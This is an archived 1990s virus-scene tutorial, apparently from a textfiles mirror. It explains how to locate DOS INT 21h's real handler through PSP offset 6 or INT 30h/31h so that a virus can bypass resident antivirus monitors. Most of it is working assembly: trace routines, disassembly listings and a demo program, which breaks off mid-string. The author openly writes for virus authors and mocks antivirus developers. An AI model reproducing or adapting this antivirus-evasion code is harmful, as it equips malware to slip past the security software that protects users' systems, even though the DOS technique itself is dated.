💾 Archived View for spam.works › mirrors › textfiles › virus › fndint21.txt captured on 2023-06-16 at 21:02:25.
-=-=-=-=-=-=-
FINDING INT 21's REAL ADDRESS USING THE PSP
???????????????????????????????????????????
by Satan's Little Helper
DESCRIPTION
???????????
The real address of interrupt 21 is useful to almost
all viruses it enables viruses to bypass resident monitoring
software loaded as device drivers or TSR's. This article will
demonstrate a method by which you can obtain the real address
of INT 21 by using the entry at offset 6 in the PSP segment.
PSP:6 contains a double-word pointing (hopefully) to the
dos dispatch handler (this is different from the INT 21
handler). Then *optionally* the dispatch handler has a series
of jumps (opcode=0EAh) then it will either a) point to the
dos dispatch handler or b) the double-NOP call construct used
in some DOS versions which will then point to (a).
The dos dispatch handler and int 21 handler in memory appear
like this:
dos_dispatch_handler:
0000 1E push ds
0001 2E: 8E 1E 3DE7 mov ds,word ptr cs:[3DE7h]
0006 8F 06 05EC pop word ptr ds:[5ECh]
000A 58 pop ax
000B 58 pop ax
000C 8F 06 0584 pop word ptr ds:[584h]
0010 9C pushf
0011 FA cli
0012 50 push ax
0013 FF 36 0584 push word ptr ds:[584h]
0017 FF 36 05EC push word ptr ds:[5ECh]
001B 1F pop ds
001C 80 F9 24 cmp cl,24h
001F 77 DC ja $-22h
0021 8A E1 mov ah,cl
0023 EB 06 jmp $+8
int21_handler:
0025 FA cli
0026 80 FC 6C cmp ah,6Ch
0029 77 D2 ja $-2Ch
002B 80 FC 33 cmp ah,33h
therefore:
int21_handler = dos_dispatch_handler + 25h
So the end result is we just find 'dos_dispatch_hndlr'
address then check that the opcodes are right (1E2E/FA80)
and then add (int21_handler-dos_dispatch_hndlr) to the
pointer to dos_dispatch_hndlr to get the INT 21 handler
address.
Simple! (read it again if you don't get it).
In the case of (b) occurring we just do the same except
the offset of the dispatch handler from the int 21
handler is different:
0000 90 nop
0001 90 nop
0002 E8 00E0 call $+0E3h
0005 2E: FF 2E 1062 jmp dword ptr cs:[1062h]
000A 90 nop
000B 90 nop
000C E8 00D6 call $+0D9h
000F 2E: FF 2E 1066 jmp dword ptr cs:[1066h]
int21_handler:
0014 90 nop
0015 90 nop
0016 E8 00CC call $+0CFh
0019 2E: FF 2E 106A jmp dword ptr cs:[106Ah]
001E 90 nop
001F 90 nop
0020 E8 00C2 call $+0C5h
0023 2E: FF 2E 106E jmp dword ptr cs:[106Eh]
0028 90 nop
0029 90 nop
002A E8 00B8 call $+0BBh
002D 2E: FF 2E 1072 jmp dword ptr cs:[1072h]
0032 90 nop
0033 90 nop
0034 E8 00AE call $+0B1h
0037 2E: FF 2E 1076 jmp dword ptr cs:[1076h]
003C 90 nop
003D 90 nop
003E E8 00A4 call $+0A7h
0041 2E: FF 2E 107A jmp dword ptr cs:[107Ah]
dos_dispatch_handler:
0046 90 nop
0047 90 nop
0048 E8 009A call $+9Dh
004B 2E: FF 2E 107E jmp dword ptr cs:[107Eh]
therefore:
int21_handler = dos_dispatch_handler - 32h
ADVANTAGES & DISADVANTAGES OF THIS METHOD
?????????????????????????????????????????
This method requires a very small amount of code and
can be made even more efficient than the code shown below.
Although untrappable it can be confused into tracing
into the resident monitor's trapping code. Much of the
logic of this method is hard coded so changes in the
opcodes (from TSR AV utilities) will be able to trick it
into thinking it has found the correct address (this
requires use of the double-NOP signatures).
AV developers appear to be reluctant to modify their
software for specific viruses so may avoid placing the
sequence to confuse it into their software.
CODE
????
This code is not designed to be size efficent it is designed
to be easy to understand.
;name: psp_trace
;in cond: ds=psp segment
;out cond: ds:bx=int 21 address if carry clear
; ds:bx=nothing if carry set.
;purpose: finds int 21 address using a PSP trace.
psp_trace:
lds bx,ds:[0006h] ;point to dispatch handler
trace_next:
cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ?
jnz check_dispatch
lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP
cmp word ptr ds:[bx],9090h ;check for double-NOP signature
jnz trace_next
sub bx,32h ;32h byte offset from dispatch
;handler
cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works
jnz check_dispatch
good_search:
clc
ret
check_dispatch:
cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override
jnz bad_exit
add bx,25h ;25h byte offset from dispatch
cmp word ptr ds:[bx],80FAh ;check for cli, push ax
jz good_search
bad_exit:
stc
ret
NOTES
?????
INT 30h and INT 31h contain *code* (not an address) to
jump to the dispatch handler so to trace using INT 30h/31h
you just set ds:bx to 0:c0 and call the trace_next in the
psp_trace routine.
Debug hex dump of INT 30/31 addresses in the IVT:
Immediate far JMP
____________
-d 0:c0 | |
0000:00C0 EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01
|_________| |_________|
INT 30 INT 31
addr addr
EA 28 00 02 01 = JMP 0102:0028
;name: int30_trace
;out cond: ds:bx=int 21 address if carry clear
; ds:bx=nothing if carry set.
;purpose: finds int 21 address using an INT 30/31 trace.
int30_trace:
xor bx,bx
mov ds,bx
mov bl,0c0h ;point to 0:0c0
jmp short trace_next
OTHER NOTES
???????????
After writing this I heard that the "MG" virus uses the same
technique, I have a sample of this virus and it does not use
the same technique.
TESTING
???????
So far this has been tested on MSDOS 6.x, Novell Netware,
and IBM network software all resulting in positive tests.
Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT
could not be found. It is expected that this will not work
on *ALL* DOS-type platforms but that is why I implemented
error codes in the form of the carry flag being set/clear.
CONCLUSION
??????????
It has been shown that INT 30h/31h is slightly more
reliable than the PSP:6 address, so if a call to psp_trace
results in carry set then call int30_trace. The reason
you should call PSP trace first is that altering INT 30/31
is much easier than altering PSP:6 so it makes the AV do
more work ;)
CREDITS
???????
TaLoN - helped in working out offsets and told me
about int 30h/31h pointing to dispatch handler.
Lookout Man - tester
Aardvark - network tester
DEMO PROGRAM
????????????
;-------8<--------cut here---------8<-------
comment |
TASM ASSEMBLY:
tasm psptest.asm
tlink /t psptest.obj
A86 ASSEMBLY:
a86 psptest.asm
|
.model tiny
.code
org 100h
start:
mov dx,offset psp_status
call print_str ;print "PSP trace: "
call psp_trace ;do the trace
jc bad_psp
print_status:
mov dx,offset ok_str ;print "Ok!"
call print_str
mov dx,offset psp_addr ;print "interrupt trace to: "
call print_str
push bx
mov bx,ds ;print segment
call bin_to_hex
call print_colon ;print ":"
pop bx
call bin_to_hex ;print offset
jmp do_int30
bad_psp:
mov dx,offset bad_str
call print_str
do_int30:
nop
nop
mov word ptr cs:do_int30,20CDh ;exit next time around
mov dx,offset i30_status
call print_str ;print "PSP trace: "
call int30_trace
jnc print_status
jmp short do_int30
print_str:
mov ah,9
push ds
push cs
pop ds
int 21h
pop ds
ret
psp_addr db 13,10,'Interrupt traced to: